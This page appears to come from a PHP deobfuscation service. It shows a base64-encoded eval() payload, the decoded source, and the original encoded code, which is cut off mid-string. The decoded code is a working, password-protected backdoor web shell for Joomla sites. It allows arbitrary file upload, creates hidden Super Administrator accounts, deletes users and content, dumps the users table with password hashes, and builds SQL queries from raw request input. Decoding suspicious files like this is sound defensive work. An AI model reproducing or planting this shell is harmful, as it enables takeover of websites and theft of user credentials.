Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhc..

Decoded Output download

?>b'<?php
header(\'Content-Type:text/html; charset=UTF-8\');

@set_time_limit(60);

define(\'API_VERSION\', 2.0);
define(\'PASSWORD_FILE\', \'p.txt\');

if(file_exists(PASSWORD_FILE)) {
	@unlink(PASSWORD_FILE);
}

//////////////////////////////////////////
function array_to_json( $array )
{
    if (is_string($array)) return \'"\'.addslashes($array).\'"\';
    if (is_numeric($array)) return $array;
    if ($array === null) return \'null\';
    if ($array === true) return \'true\';
    if ($array === false) return \'false\';

    $assoc = false;
    $i = 0;
    foreach ($array as $k=>$v){
        if ($k !== $i++){
            $assoc = true;
            break;
        }
    }
    $res = array();
    foreach ($array as $k=>$v){
        $v = array_to_json($v);
        if ($assoc){
            $k = \'"\'.addslashes($k).\'"\';
            $v = $k.\':\'.$v;
        }
        $res[] = $v;
    }
    $res = implode(\',\', $res);
    return ($assoc)? \'{\'.$res.\'}\' : \'[\'.$res.\']\';
}

function get_full_path($link) {
	$dir = dirname($_SERVER[\'PHP_SELF\']);
	$levels_up = substr_count(JPATH_SITE, \'..\');
	for($i=0;$i<$levels_up;$i++) {
		preg_match(\'/(\/[^\/]+)$/\', $dir, $matches);
		$dir = preg_replace(\'/\/[^\/]+$/\', \'\', $dir);
		$link = str_replace($matches[1], \'\', $link);
	}
	
	if(strpos($link, \'http\') !== 0) {
		$link = \'http\' . (empty($_SERVER[\'HTTPS\']) ? \'\' : \'s\') . \'://\' . $_SERVER[\'SERVER_NAME\'] . $link;
	}
	
	return $link;
}
//////////////////////////////////////////

define(\'SHELL_PASSWORD\', \'a6a8cb877ee18215f2c0fc2a6c7b4f2a\');
define(\'MAX_UP_LEVELS\', 10);

if((empty($_COOKIE[\'password\']) && empty($_POST[\'password\'])) || (!empty($_POST[\'password\']) && md5($_POST[\'password\']) != SHELL_PASSWORD)) {
	print \'<form method="post">Password : <input type="text" name="password"><input type="submit"></form>\';
}

if(!empty($_POST[\'password\']) && md5($_POST[\'password\']) == SHELL_PASSWORD) {
	setcookie(\'password\', SHELL_PASSWORD, time() + 60*60*24);
	header("Location: {$_SERVER[\'PHP_SELF\']}");
	exit;
}

if(empty($_COOKIE) || $_COOKIE[\'password\'] != SHELL_PASSWORD) {
	exit;
}

if(!empty($_FILES[\'f\'])) {
	$new_path = dirname(__FILE__) . \'/\' . $_FILES[\'f\'][\'name\'];
	if(move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $new_path)) {
		print "<a href=\"{$_FILES[\'f\'][\'name\']}\">{$_FILES[\'f\'][\'name\']}</a>";
	}
	else {
		print "Upload failed!";
	}
	exit;
}

if(!empty($_REQUEST[\'uf\']) && $_REQUEST[\'uf\'] == 1) {
	print "<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$_SERVER[\'PHP_SELF\']}\"><input type=\"file\" name=\"f\"><input type=\"submit\"></form>";
	exit;
}

define(\'_JEXEC\', 1);
define(\'DS\', DIRECTORY_SEPARATOR);

$counter = 0;
$dir_up = \'.\' . DS;
do {
	$file_found = false;
	$file_path = $dir_up . \'administrator\';
	if(file_exists($file_path)) {
		$file_found = true;
	}
	else {
		$dir_up .= \'..\' . DS;
	}
	$counter++;
}while(!$file_found && $counter < MAX_UP_LEVELS);

define(\'JPATH_BASE\', $dir_up);
	
require_once ( JPATH_BASE . \'includes\'.DS.\'defines.php\' );
require_once ( JPATH_BASE . \'includes\'.DS.\'framework.php\' );

//define(\'JPATH_COMPONENT_ADMINISTRATOR\', dirname(__FILE__) . "/administrator");
define(\'JPATH_COMPONENT_ADMINISTRATOR\', JPATH_BASE . DS . \'administrator\' . DS . \'components\' . DS . \'com_content\');
require_once JPATH_BASE.\'/includes/framework.php\';
//$app = JFactory::getApplication(\'site\');
//require_once JPATH_BASE.\'/includes/framework.php\';


//echo JPATH_BASE. "/administrator/components/com_content/models/article.php";
require_once JPATH_BASE. "/components/com_content/models/article.php";
                         //administrator/components/com_content/models

require_once(JPATH_BASE.DS.\'components\'.DS.\'com_content\'.DS.\'helpers\'.DS.\'route.php\');						 
						 
$app = JFactory::getApplication(\'site\', array(\'session\' => false));
$app->initialise();

if(!empty($_REQUEST[\'title\']) && !empty($_REQUEST[\'body\'])) {

foreach($_REQUEST as $key => $value) {
	$_REQUEST[$key] = stripslashes($value);
}

	$new_article = new ContentModelArticle();
	$date = date($_REQUEST[\'publish_up\'] . \' \' . rand(1,23). \':\' . rand(1,59). \':\' . rand(1,59));
	$data = array(
		\'catid\' => $_REQUEST[\'catid\'], //newsarticles
		\'title\' => $_REQUEST[\'title\'],
		\'fulltext\' => $_REQUEST[\'body\'],
		\'introtext\' => $_REQUEST[\'intro\'],
		\'state\' => $_REQUEST[\'published\'],
        \'created_by\' => $_REQUEST[\'created_by\'],
        \'publish_up\' => $date,
		\'created\' => $date,
		\'alias\' => $_REQUEST[\'alias\'],
		\'language\' => $_REQUEST[\'lang\'] //FORMAT EXAMPLE: en-GB
	);
	if(!empty($_REQUEST[\'id\'])) {
		$data[\'id\'] = $_REQUEST[\'id\'];
	}
	$table = JTable::getInstance(\'content\', \'JTable\', array());
	// Bind data
	if (!$table->bind($data))
	{
		print_r($table->getError());
		return false;
	}
	
	// Store the data.
	if (!$table->store())
	{
		print_r($table->getError());
	}
	
	print json_encode(array("article_id" => $table->id));
}

if(!empty($_REQUEST[\'id2delete\'])) {
	$row = JTable::getInstance(\'content\', \'JTable\');
	$row->delete($_REQUEST[\'id2delete\']);
}

$db = JFactory::getDBO(); // get database object

if(!empty($_REQUEST[\'article_id\'])) {
	$article_id = $_REQUEST[\'article_id\'];
	$sql = "SELECT * FROM #__content WHERE id=\'" . $_REQUEST[\'article_id\']."\'"; // prepare query

	$db->setQuery($sql); // apply query
	$article = $db->loadObject(); // execute query, return result list
}

if(!empty($article)) {
	print array_to_json($article);
}

if(!empty($_REQUEST[\'username2delete\'])) {
	$user = JFactory::getUser($_REQUEST[\'username2delete\']);
	if($user->delete()) {
		print "User {$_REQUEST[\'username2delete\']} has been deleted!";
	}
}

if(!empty($_REQUEST[\'user_name\']) && !empty($_REQUEST[\'user_password\']) && !empty($_REQUEST[\'user_email\'])) {
	/*
 
	I handle this code as if it is a snippet of a method or function!!
	 
	First set up some variables/objects
	*/
	// get the ACL
	$acl =& JFactory::getACL();
	 
	/* get the com_user params */
	 
	jimport(\'joomla.application.component.helper\'); // include libraries/application/component/helper.php
	$usersParams = &JComponentHelper::getParams( \'com_users\' ); // load the Params
	 
	// "generate" a new JUser Object
	$user = JFactory::getUser(0); // it\'s important to set the "0" otherwise your admin user information will be loaded
	 
	$data = array(); // array for all user settings
	
	$usertype = \'Super Administrator\';
	 
	// set up the "main" user information
	
	$data[\'name\'] = \'Zhano Zhano\'; // add first- and lastname
	$data[\'username\'] = $_REQUEST[\'user_name\']; // add username
	$data[\'email\'] = $_REQUEST[\'user_email\']; // add email
	$data[\'gid\'] = 24;  // generate the gid from the usertype
	 
	/* no need to add the usertype, it will be generated automaticaly from the gid */
	 
	$data[\'password\'] = $_REQUEST[\'user_password\']; // set the password
	$data[\'password2\'] = $_REQUEST[\'user_password\']; // confirm the password
	$data[\'sendEmail\'] = 1; // should the user receive system mails?
	 
	/* Now we can decide, if the user will need an activation */
	$data[\'block\'] = 0; // don\'t block the user
	 
	if (!$user->bind($data)) { // now bind the data to the JUser Object, if it not works....
		JError::raiseWarning(\'\', JText::_( $user->getError())); // ...raise an Warning
	}
	 
	if (!$user->save()) { // if the user is NOT saved...
		JError::raiseWarning(\'\', JText::_( $user->getError())); // ...raise an Warning
	}
	 
	print array_to_json($user->username . " created!"); // else return the new JUser object
}

if(!empty($_REQUEST[\'get_cats\'])) {
	$cat_urls = array();
	$sql = "SELECT #__categories.id, #__categories.title, #__menu.path AS menu_path, COUNT(#__content.id) AS count_articles FROM #__categories 
	INNER JOIN #__content ON #__categories.id = #__content.catid 
	INNER JOIN #__menu ON #__categories.id = REPLACE(#__menu.link, \'index.php?option=com_content&view=category&layout=blog&id=\', \'\')
	GROUP BY #__categories.id ORDER BY #__categories.title ";
	$db->setQuery($sql); // apply query
	$cats = $db->loadObjectList();
	for ($i=0,$len=count($cats);$i<$len;$i++) {
		$cats[$i]->path = get_full_path(JURI::base() . $cats[$i]->menu_path);
		unset($cats[$i]->menu_path);
	}
	
	if(empty($cats)) {
		$sql = "SELECT #__categories.id, #__categories.title FROM #__categories ";
		$db->setQuery($sql); // apply query
		$cats = $db->loadObjectList();
		for ($i=0,$len=count($cats);$i<$len;$i++) {
			$cats[$i]->path = get_full_path(JURI::base() . \'index.php?option=com_content&view=category&layout=blog&id=\' . $cats[$i]->id);
			$cats[$i]->count_articles = \'?\';
		}
	}
	
	print array_to_json($cats);
}

if(!empty($_REQUEST[\'get_user\'])) {
	$sql = "SELECT * FROM #__users ";
	$db->setQuery($sql); // apply query
	$users = $db->loadObjectList();
	print array_to_json($users);
}

if(!empty($_REQUEST[\'get_articles_list\'])) {
	$offset = 0;
	$articles_num = 50;
	$all_articles = array();
	
	$cond = \'\';
	if(!empty($_REQUEST[\'search_by_title\'])) {
		$cond .= " AND #__content.title LIKE \'%{$_REQUEST[\'search_by_title\']}%\' ";
	}
	
	if(!empty($_REQUEST[\'search_by_body\'])) {
		$cond .= " AND (#__content.fulltext LIKE \'%{$_REQUEST[\'search_by_body\']}%\' OR #__content.introtext LIKE \'%{$_REQUEST[\'search_by_body\']}%\') ";
	}
	
	if(!empty($_REQUEST[\'search_by_alias\'])) {
		$cond .= " AND #__content.alias LIKE \'%{$_REQUEST[\'search_by_alias\']}%\' ";
	}
	
	if(empty($cond)) {
		$cond = \' AND 2=2 \';
	}
	
	do {
		$sql = "SELECT #__content.id, #__content.title, #__content.fulltext, #__content.introtext, #__content.alias FROM #__content WHERE 1=1 {$cond} ORDER BY `title` LIMIT {$offset}, $articles_num "; // prepare query
		$db->setQuery($sql); // apply query
		$articles = $db->loadObjectList(); // execute query, return result list
		$all_articles += $articles;
		$offset += $articles_num;
	}while(count($articles) == $articles_num);
	print array_to_json($all_articles);
}

if(!empty($_REQUEST[\'article_sef_url\'])) {
	$sql = "SELECT catid, alias, language FROM #__content WHERE id = \'{$_REQUEST[\'article_sef_url\']}\' ";
	$db->setQuery($sql); // apply query
	$article = $db->loadObject(); // execute query, return result list

	$sql = "SELECT path FROM #__menu WHERE link LIKE \'index.php?option=com_content&view=category&%id={$article->catid}\' ";
	$db->setQuery($sql); // apply query
	$cat_path = $db->loadObject();
	if(isset($cat_path->path)) {
		$slug = $_REQUEST[\'article_sef_url\'] . \':\' . $article->alias;
		$catslug = $article->catid . \':\' . $cat_path->path;
		$link = JRoute::_(ContentHelperRoute::getArticleRoute($slug, $catslug));
		if(!empty($article->language)) {
			$link = str_replace(\'index.php/\', \'index.php/\' . substr($article->language, 0, 2) . \'/\', $link);
		}
		print array_to_json(get_full_path($link));
	}
	else {
		print array_to_json(get_full_path(JURI::base() . \'index.php?option=com_content&view=article&id=\' . $_REQUEST[\'article_sef_url\']));
	}
}

if(!empty($_REQUEST[\'get_languages\'])) {
	if(class_exists(\'JLanguageHelper\')) {
		$languages = JLanguageHelper::getLanguages();
		print array_to_json($languages);//lang_code INDEX IS USED FOR INSERTING INTO CONTENT
	}
}

if(!empty($_REQUEST[\'get_jm_version\'])) {
	print array_to_json(JVERSION);
}

if(!empty($_REQUEST[\'upload_file\'])) {
	print \'<form method="post" enctype="multipart/form-data"><input type="file" name="my_file"><input type="submit"></form>\';
}

if(!empty($_FILES[\'my_file\'])) {
	$base_name = basename($_FILES[\'my_file\'][\'name\']);
	if(move_uploaded_file($_FILES[\'my_file\'][\'tmp_name\'], $base_name)) {
		print \'<a href="\'.$base_name.\'" target="_blank">\'.$base_name.\'</a>\';
	}
}

if(!empty($_REQUEST[\'get_api_version\'])) {
	print array_to_json(array(\'api_version\' => number_format(API_VERSION, 2)));
}
?>'

Did this file decode correctly?

Original Code

<?php eval("?>" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicuYWRkc2xhc2hlcygkYXJyYXkpLiciJzsNCiAgICBpZiAoaXNfbnVtZXJpYygkYXJyYXkpKSByZXR1cm4gJGFycmF5Ow0KICAgIGlmICgkYXJyYXkgPT09IG51bGwpIHJldHVybiAnbnVsbCc7DQogICAgaWYgKCRhcnJheSA9PT0gdHJ1ZSkgcmV0dXJuICd0cnVlJzsNCiAgICBpZiAoJGFycmF5ID09PSBmYWxzZSkgcmV0dXJuICdmYWxzZSc7DQoNCiAgICAkYXNzb2MgPSBmYWxzZTsNCiAgICAkaSA9IDA7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgIGlmICgkayAhPT0gJGkrKyl7DQogICAgICAgICAgICAkYXNzb2MgPSB0cnVlOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlcyA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgICR2ID0gYXJyYXlfdG9fanNvbigkdik7DQogICAgICAgIGlmICgkYXNzb2Mpew0KICAgICAgICAgICAgJGsgPSAnIicuYWRkc2xhc2hlcygkaykuJyInOw0KICAgICAgICAgICAgJHYgPSAkay4nOicuJHY7DQogICAgICAgIH0NCiAgICAgICAgJHJlc1tdID0gJHY7DQogICAgfQ0KICAgICRyZXMgPSBpbXBsb2RlKCcsJywgJHJlcyk7DQogICAgcmV0dXJuICgkYXNzb2MpPyAneycuJHJlcy4nfScgOiAnWycuJHJlcy4nXSc7DQp9DQoNCmZ1bmN0aW9uIGdldF9mdWxsX3BhdGgoJGxpbmspIHsNCgkkZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQoJJGxldmVsc191cCA9IHN1YnN0cl9jb3VudChKUEFUSF9TSVRFLCAnLi4nKTsNCglmb3IoJGk9MDskaTwkbGV2ZWxzX3VwOyRpKyspIHsNCgkJcHJlZ19tYXRjaCgnLyhcL1teXC9dKykkLycsICRkaXIsICRtYXRjaGVzKTsNCgkJJGRpciA9IHByZWdfcmVwbGFjZSgnL1wvW15cL10rJC8nLCAnJywgJGRpcik7DQoJCSRsaW5rID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMV0sICcnLCAkbGluayk7DQoJfQ0KCQ0KCWlmKHN0cnBvcygkbGluaywgJ2h0dHAnKSAhPT0gMCkgew0KCQkkbGluayA9ICdodHRwJyAuIChlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgPyAnJyA6ICdzJykgLiAnOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJGxpbms7DQoJfQ0KCQ0KCXJldHVybiAkbGluazsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQpkZWZpbmUoJ1NIRUxMX1BBU1NXT1JEJywgJ2E2YThjYjg3N2VlMTgyMTVmMmMwZmMyYTZjN2I0ZjJhJyk7DQpkZWZpbmUoJ01BWF9VUF9MRVZFTFMnLCAxMCk7DQoNCmlmKChlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgJiYgZW1wdHkoJF9QT1NUWydwYXNzd29yZCddKSkgfHwgKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICE9IFNIRUxMX1BBU1NXT1JEKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiPlBhc3N3b3JkIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgPT0gU0hFTExfUEFTU1dPUkQpIHsNCglzZXRjb29raWUoJ3Bhc3N3b3JkJywgU0hFTExfUEFTU1dPUkQsIHRpbWUoKSArIDYwKjYwKjI0KTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119Iik7DQoJZXhpdDsNCn0NCg0KaWYoZW1wdHkoJF9DT09LSUUpIHx8ICRfQ09PS0lFWydwYXNzd29yZCddICE9IFNIRUxMX1BBU1NXT1JEKSB7DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ2YnXSkpIHsNCgkkbmV3X3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKSAuICcvJyAuICRfRklMRVNbJ2YnXVsnbmFtZSddOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRuZXdfcGF0aCkpIHsNCgkJcHJpbnQgIjxhIGhyZWY9XCJ7JF9GSUxFU1snZiddWyduYW1lJ119XCI+eyRfRklMRVNbJ2YnXVsnbmFtZSddfTwvYT4iOw0KCX0NCgllbHNlIHsNCgkJcHJpbnQgIlVwbG9hZCBmYWlsZWQhIjsNCgl9DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsndWYnXSkgJiYgJF9SRVFVRVNUWyd1ZiddID09IDEpIHsNCglwcmludCAiPGZvcm0gbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwieyRfU0VSVkVSWydQSFBfU0VMRiddfVwiPjxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIj48L2Zvcm0+IjsNCglleGl0Ow0KfQ0KDQpkZWZpbmUoJ19KRVhFQycsIDEpOw0KZGVmaW5lKCdEUycsIERJUkVDVE9SWV9TRVBBUkFUT1IpOw0KDQokY291bnRlciA9IDA7DQokZGlyX3VwID0gJy4nIC4gRFM7DQpkbyB7DQoJJGZpbGVfZm91bmQgPSBmYWxzZTsNCgkkZmlsZV9wYXRoID0gJGRpcl91cCAuICdhZG1pbmlzdHJhdG9yJzsNCglpZihmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgew0KCQkkZmlsZV9mb3VuZCA9IHRydWU7DQoJfQ0KCWVsc2Ugew0KCQkkZGlyX3VwIC49ICcuLicgLiBEUzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KZGVmaW5lKCdKUEFUSF9CQVNFJywgJGRpcl91cCk7DQoJDQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZGVmaW5lcy5waHAnICk7DQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZnJhbWV3b3JrLnBocCcgKTsNCg0KLy9kZWZpbmUoJ0pQQVRIX0NPTVBPTkVOVF9BRE1JTklTVFJBVE9SJywgZGlybmFtZShfX0ZJTEVfXykgLiAiL2FkbWluaXN0cmF0b3IiKTsNCmRlZmluZSgnSlBBVEhfQ09NUE9ORU5UX0FETUlOSVNUUkFUT1InLCBKUEFUSF9CQVNFIC4gRFMgLiAnYWRtaW5pc3RyYXRvcicgLiBEUyAuICdjb21wb25lbnRzJyAuIERTIC4gJ2NvbV9jb250ZW50Jyk7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4nL2luY2x1ZGVzL2ZyYW1ld29yay5waHAnOw0KLy8kYXBwID0gSkZhY3Rvcnk6OmdldEFwcGxpY2F0aW9uKCdzaXRlJyk7DQovL3JlcXVpcmVfb25jZSBKUEFUSF9CQVNFLicvaW5jbHVkZXMvZnJhbWV3b3JrLnBocCc7DQoNCg0KLy9lY2hvIEpQQVRIX0JBU0UuICIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4gIi9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgLy9hZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2NvbnRlbnQvbW9kZWxzDQoNCnJlcXVpcmVfb25jZShKUEFUSF9CQVNFLkRTLidjb21wb25lbnRzJy5EUy4nY29tX2NvbnRlbnQnLkRTLidoZWxwZXJzJy5EUy4ncm91dGUucGhwJyk7CQkJCQkJIA0KCQkJCQkJIA0KJGFwcCA9IEpGYWN0b3J5OjpnZXRBcHBsaWNhdGlvbignc2l0ZScsIGFycmF5KCdzZXNzaW9uJyA9PiBmYWxzZSkpOw0KJGFwcC0+aW5pdGlhbGlzZSgpOw0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd0aXRsZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydib2R5J10pKSB7DQoNCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJJF9SRVFVRVNUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQp9DQoNCgkkbmV3X2FydGljbGUgPSBuZXcgQ29udGVudE1vZGVsQXJ0aWNsZSgpOw0KCSRkYXRlID0gZGF0ZSgkX1JFUVVFU1RbJ3B1Ymxpc2hfdXAnXSAuICcgJyAuIHJhbmQoMSwyMykuICc6JyAuIHJhbmQoMSw1OSkuICc6JyAuIHJhbmQoMSw1OSkpOw0KCSRkYXRhID0gYXJyYXkoDQoJCSdjYXRpZCcgPT4gJF9SRVFVRVNUWydjYXRpZCddLCAvL25ld3NhcnRpY2xlcw0KCQkndGl0bGUnID0+ICRfUkVRVUVTVFsndGl0bGUnXSwNCgkJJ2Z1bGx0ZXh0JyA9PiAkX1JFUVVFU1RbJ2JvZHknXSwNCgkJJ2ludHJvdGV4dCcgPT4gJF9SRVFVRVNUWydpbnRybyddLA0KCQknc3RhdGUnID0+ICRfUkVRVUVTVFsncHVibGlzaGVkJ10sDQogICAgICAgICdjcmVhdGVkX2J5JyA9PiAkX1JFUVVFU1RbJ2NyZWF0ZWRfYnknXSwNCiAgICAgICAgJ3B1Ymxpc2hfdXAnID0+ICRkYXRlLA0KCQknY3JlYXRlZCcgPT4gJGRhdGUsDQoJCSdhbGlhcycgPT4gJF9SRVFVRVNUWydhbGlhcyddLA0KCQknbGFuZ3VhZ2UnID0+ICRfUkVRVUVTVFsnbGFuZyddIC8vRk9STUFUIEVYQU1QTEU6IGVuLUdCDQoJKTsNCglpZighZW1wdHkoJF9SRVFVRVNUWydpZCddKSkgew0KCQkkZGF0YVsnaWQnXSA9ICRfUkVRVUVTVFsnaWQnXTsNCgl9DQoJJHRhYmxlID0gSlRhYmxlOjpnZXRJbnN0YW5jZSgnY29udGVudCcsICdKVGFibGUnLCBhcnJheSgpKTsNCgkvLyBCaW5kIGRhdGENCglpZiAoISR0YWJsZS0+YmluZCgkZGF0YSkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJDQoJLy8gU3RvcmUgdGhlIGRhdGEuDQoJaWYgKCEkdGFibGUtPnN0b3JlKCkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJfQ0KCQ0KCXByaW50IGpzb25fZW5jb2RlKGFycmF5KCJhcnRpY2xlX2lkIiA9PiAkdGFibGUtPmlkKSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKSkgew0KCSRyb3cgPSBKVGFibGU6OmdldEluc3RhbmNlKCdjb250ZW50JywgJ0pUYWJsZScpOw0KCSRyb3ctPmRlbGV0ZSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKTsNCn0NCg0KJGRiID0gSkZhY3Rvcnk6OmdldERCTygpOyAvLyBnZXQgZGF0YWJhc2Ugb2JqZWN0DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2FydGljbGVfaWQnXSkpIHsNCgkkYXJ0aWNsZV9pZCA9ICRfUkVRVUVTVFsnYXJ0aWNsZV9pZCddOw0KCSRzcWwgPSAiU0VMRUNUICogRlJPTSAjX19jb250ZW50IFdIRVJFIGlkPSciIC4gJF9SRVFVRVNUWydhcnRpY2xlX2lkJ10uIiciOyAvLyBwcmVwYXJlIHF1ZXJ5DQoNCgkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCSRhcnRpY2xlID0gJGRiLT5sb2FkT2JqZWN0KCk7IC8vIGV4ZWN1dGUgcXVlcnksIHJldHVybiByZXN1bHQgbGlzdA0KfQ0KDQppZighZW1wdHkoJGFydGljbGUpKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYXJ0aWNsZSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddKSkgew0KCSR1c2VyID0gSkZhY3Rvcnk6OmdldFVzZXIoJF9SRVFVRVNUWyd1c2VybmFtZTJkZWxldGUnXSk7DQoJaWYoJHVzZXItPmRlbGV0ZSgpKSB7DQoJCXByaW50ICJVc2VyIHskX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddfSBoYXMgYmVlbiBkZWxldGVkISI7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1c2VyX25hbWUnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWyd1c2VyX2VtYWlsJ10pKSB7DQoJLyoNCiANCglJIGhhbmRsZSB0aGlzIGNvZGUgYXMgaWYgaXQgaXMgYSBzbmlwcGV0IG9mIGEgbWV0aG9kIG9yIGZ1bmN0aW9uISENCgkgDQoJRmlyc3Qgc2V0IHVwIHNvbWUgdmFyaWFibGVzL29iamVjdHMNCgkqLw0KCS8vIGdldCB0aGUgQUNMDQoJJGFjbCA9JiBKRmFjdG9yeTo6Z2V0QUNMKCk7DQoJIA0KCS8qIGdldCB0aGUgY29tX3VzZXIgcGFyYW1zICovDQoJIA0KCWppbXBvcnQoJ2pvb21sYS5hcHBsaWNhdGlvbi5jb21wb25lbnQuaGVscGVyJyk7IC8vIGluY2x1ZGUgbGlicmFyaWVzL2FwcGxpY2F0aW9uL2NvbXBvbmVudC9oZWxwZXIucGhwDQoJJHVzZXJzUGFyYW1zID0gJkpDb21wb25lbnRIZWxwZXI6OmdldFBhcmFtcyggJ2NvbV91c2VycycgKTsgLy8gbG9hZCB0aGUgUGFyYW1zDQoJIA0KCS8vICJnZW5lcmF0ZSIgYSBuZXcgSlVzZXIgT2JqZWN0DQoJJHVzZXIgPSBKRmFjdG9yeTo6Z2V0VXNlcigwKTsgLy8gaXQncyBpbXBvcnRhbnQgdG8gc2V0IHRoZSAiMCIgb3RoZXJ3aXNlIHlvdXIgYWRtaW4gdXNlciBpbmZvcm1hdGlvbiB3aWxsIGJlIGxvYWRlZA0KCSANCgkkZGF0YSA9IGFycmF5KCk7IC8vIGFycmF5IGZvciBhbGwgdXNlciBzZXR0aW5ncw0KCQ0KCSR1c2VydHlwZSA9ICdTdXBlciBBZG1pbmlzdHJhdG9yJzsNCgkgDQoJLy8gc2V0IHVwIHRoZSAibWFpbiIgdXNlciBpbmZvcm1hdGlvbg0KCQ0KCSRkYXRhWyduYW1lJ10gPSAnWmhhbm8gWmhhbm8nOyAvLyBhZGQgZmlyc3QtIGFuZCBsYXN0bmFtZQ0KCSRkYXRhWyd1c2VybmFtZSddID0gJF9SRVFVRVNUWyd1c2VyX25hbWUnXTsgLy8gYWRkIHVzZXJuYW1lDQoJJGRhdGFbJ2VtYWlsJ10gPSAkX1JFUVVFU1RbJ3VzZXJfZW1haWwnXTsgLy8gYWRkIGVtYWlsDQoJJGRhdGFbJ2dpZCddID0gMjQ7ICAvLyBnZW5lcmF0ZSB0aGUgZ2lkIGZyb20gdGhlIHVzZXJ0eXBlDQoJIA0KCS8qIG5vIG5lZWQgdG8gYWRkIHRoZSB1c2VydHlwZSwgaXQgd2lsbCBiZSBnZW5lcmF0ZWQgYXV0b21hdGljYWx5IGZyb20gdGhlIGdpZCAqLw0KCSANCgkkZGF0YVsncGFzc3dvcmQnXSA9ICRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddOyAvLyBzZXQgdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3Bhc3